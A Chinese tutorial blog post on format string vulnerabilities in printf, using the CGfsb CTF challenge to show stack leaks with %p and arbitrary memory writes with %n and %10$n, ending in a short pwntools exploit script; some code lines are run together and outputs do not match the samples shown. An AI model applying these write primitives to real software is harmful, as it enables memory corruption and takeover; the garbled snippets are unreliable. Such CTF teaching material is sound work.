详解格式化字符串漏洞利用

字符串漏洞利用"/>

详解格式化字符串漏洞利用

详解格式化字符串漏洞利用

​ 最近看了很多格式化字符串漏洞利用的文章，发现写得都差那么点意思，所以决定自己写一篇，结合实例，好好地把这个知识点捋一捋。

1、漏洞产生原理

​ 对于一般的函数而言，应该按照cdecl (C Declaration) 函数调用规定把函数的参数从右到左依次压栈， 但是printf并不是一般的函数，它是C语言中少有的支持可变参数的库函数，所以，在被调用之前，被调用者无法知道函数调用之前有多少个参数被压入栈中。所以printf函数要求传入一个format参数以指定参数的数量和类型，然后printf函数就会严格的按照format参数所规定的格式逐个从栈中取出并输出参数。 那么，可供选择的输出格式有哪些呢？

• %d 以十进制整数的格式输出

• %s 以字符串的的格式输出

• %x 以十六进制数的格式输出

• %c 以字符的格式输出

• %p 以指针的格式输出

• %n 到目前为止所输出的字符数(把一个int值写到指定的地址去)

让我们看一眼示例代码：

#include <stdio.h>int main()
{printf("%s %d %d %d %d","num",1,2,3,4);return 0;
}

如果正常运行上述程序的话，汇编代码主体是这样的：

0x000011ad <+20>:    add    eax,0x2e53
0x000011b2 <+25>:    sub    esp,0x8
0x000011b5 <+28>:    push   0x4
0x000011b7 <+30>:    push   0x3
0x000011b9 <+32>:    push   0x2
0x000011bb <+34>:    push   0x1
0x000011bd <+36>:    lea    edx,[eax-0x1ff8]
0x000011c3 <+42>:    push   edx
0x000011c4 <+43>:    lea    edx,[eax-0x1ff4]
0x000011ca <+49>:    push   edx
0x000011cb <+50>:    mov    ebx,eax
0x000011cd <+52>:    call   0x1030 <printf@plt>

此时栈里的内容

00:0000│ esp  0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x'
01:0004│      0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */
02:0008│      0xffffd198 ◂— 0x1
03:000c│      0xffffd19c ◂— 0x2
04:0010│      0xffffd1a0 ◂— 0x3
05:0014│      0xffffd1a4 ◂— 0x4
06:0018│      0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd452 ◂— 'SHELL=/bin/bash'
07:001c│      0xffffd1ac —▸ 0x565561ad (main+20) ◂— add    eax, 0x2e53

此时，一个大胆的想法浮现到了脑海中：如果我给出的format参数的个数大于待输出的参数数量会发生什么事情呢？

示例代码：

  #include <stdio.h>int main(){printf("%s %d %d %d %d %x %x","num",1,2,3,4);return 0;}

汇编代码主体：

  0x000011ad <+20>:    add    eax,0x2e530x000011b2 <+25>:    sub    esp,0x80x000011b5 <+28>:    push   0x40x000011b7 <+30>:    push   0x30x000011b9 <+32>:    push   0x20x000011bb <+34>:    push   0x10x000011bd <+36>:    lea    edx,[eax-0x1ff8]0x000011c3 <+42>:    push   edx0x000011c4 <+43>:    lea    edx,[eax-0x1ff4]0x000011ca <+49>:    push   edx0x000011cb <+50>:    mov    ebx,eax0x000011cd <+52>:    call   0x1030 <printf@plt>

栈：

  00:0000│ esp  0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x'01:0004│      0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */02:0008│      0xffffd198 ◂— 0x103:000c│      0xffffd19c ◂— 0x204:0010│      0xffffd1a0 ◂— 0x305:0014│      0xffffd1a4 ◂— 0x406:0018│      0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd44e ◂— 'SHELL=/bin/bash'07:001c│      0xffffd1ac —▸ 0x565561ad (main+20) ◂— add    eax, 0x2e53

运行结果：

1 2 3 33 test 1a1390 4013e8
--------------------------------
Process exited after 0.01398 seconds with return value 0

虽然我们给了7个格式化输出的参数，但是实际压入栈中的参数只有5个，所以，printf会输出两个本不应该输出的地址内容，借助这个漏洞，我们就泄露出了栈中的数据。

2、漏洞利用

1).泄露任意地址内容

我们借助攻防世界一道题（CGfsb）来理解这个知识点

下面是使用IDA得到的伪代码主体

01|  puts("please tell me your name:");
02|  read(0, &v5, 0xAu);
03|  puts("leave your message please:");
04|  fgets((char *)&v8, 100, stdin);
05|  printf("hello %s", &v5);
06|  puts("your message is:");
07|  printf((const char *)&v8);
08|  if ( pwnme == 8 )
09|  {
10|    puts("you pwned me, here is your flag:\n");
11|    system("cat flag");
12|  }
13|  else
14|  {
15|    puts("Thank you!");
16|  }

看到第7行，printf输出了在前面输入的v8变量，但是并没有给出任何格式化参数，所以我们可以通过构造v8的值来让printf误以为程序给出了格式化参数，从而乖乖的按照我们的意思输出我们所需的值。

运行效果：

Starting program: /root/pwn resources/gongfang/CGfsb_print_f
please tell me your name:
aaaa
leave your message please:
AAAA %p %p %p %p %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p 
hello aaaa
your message is:
AAAA0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1  0xf7fcb410  0x61610001  0xa6161  (nil)  0x41414141  0x25207025  0x70252070  0x20702520  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025 
Thank you!
[Inferior 1 (process 622877) exited normally]

显然，程序泄露出了我们想要知道的printf函数的栈帧中输出字符串后19个内存单元的值，理论上来说，我们可以使用这个漏洞来进行任意读栈中的值（没错又是这种为所欲为的快乐）

2).修改任意地址值

也许有人看到这个标题可能会觉得很疑惑，为什么printf还能进行写入操作？

任意地址写就要用到上面说的%n了，示例如下：

int main(void)
{int c = 0;printf("the usage of %n", &c);printf("c = %d\n", c);return 0;
}

这个程序的输出值会是"c = 13"

就是说**%n参数把他前面输出的字符数赋值给了变量c**

那么，我们只要更改c所对应栈中的地址不就可以把我们想要的数值赋给对应地址了吗？

也许到这一步你有点不能理解，没关系，我们来看栈的结构

就是说，我们把先前输出字符的总长度赋值给了参数4所对应的地址，也就是说，我们只要控制前面输出的长度就可以控制该参数所对应地址的值了。

但是，问题又来了，我们怎么控制参数4的值呢？

这就需要用到printf的另外一个特性：$操作符。这个操作符可以输出指定位置的参数。

就是说，假如格式化输出参数是“%6$n”的话，就把之前输出的长度赋值给printf函数的第6个参数，但是printf函数根本不知道自己的栈有多大，所以我们只需要把这个偏移数值定位到我们能够修改的内存空间，比如说题目中的v8变量所在地址就可以了~

那么题目中的偏移量是多少呢？

我们看前面构造的偷看任意位置内存空间的输入运行结果：

AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1  0xf7fcb410  0x61610001  0xa6161  (nil)  0x41414141  0x25207025  0x70252070  0x20702520  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025

看到‘0x41414141‘，就是我们输入的AAAA，也就是说，我们能控制的内存空间相对位置在printf函数的第10个参数位置（其实printf函数根本没有这么多个参数，只不过他自己并不知道）（10是怎么来的?从AAAA到0x41414141还有九个输出值，所以v8在相对第十个参数位置）

所以我们就可以构造我们的exp了！！！

from pwn import *r = process("./CGfsb")pwnme_addr = 0x0804A068           #pwnme地址在伪代码中双击查看
payload = p32(pwnme_addr) + 'aaaa' + '%10$n'     #pwnme的地址需要经过32位编码转换，是四位，而pwnme需要等于8，所以‘aaaa’起着凑字数的作用,使得r.recvuntil("please tell me your name:\n")
r.sendline('aaaa')r.recvuntil("leave your message please:\n")
r.sendline(payload)r.interactive()

这篇文章查资料以及码字一共花了两天，期间问了相当多大佬，但始终没能得到自己想要的答案，最后还是靠着自己对汇编的理解以及函数的特性码出了这篇文章。果然，一入pwn门深似海，从此头发是路人。如果对看完文章的你有帮助，不妨点一波赞支持支持头皮发凉的我呗【手动滑稽】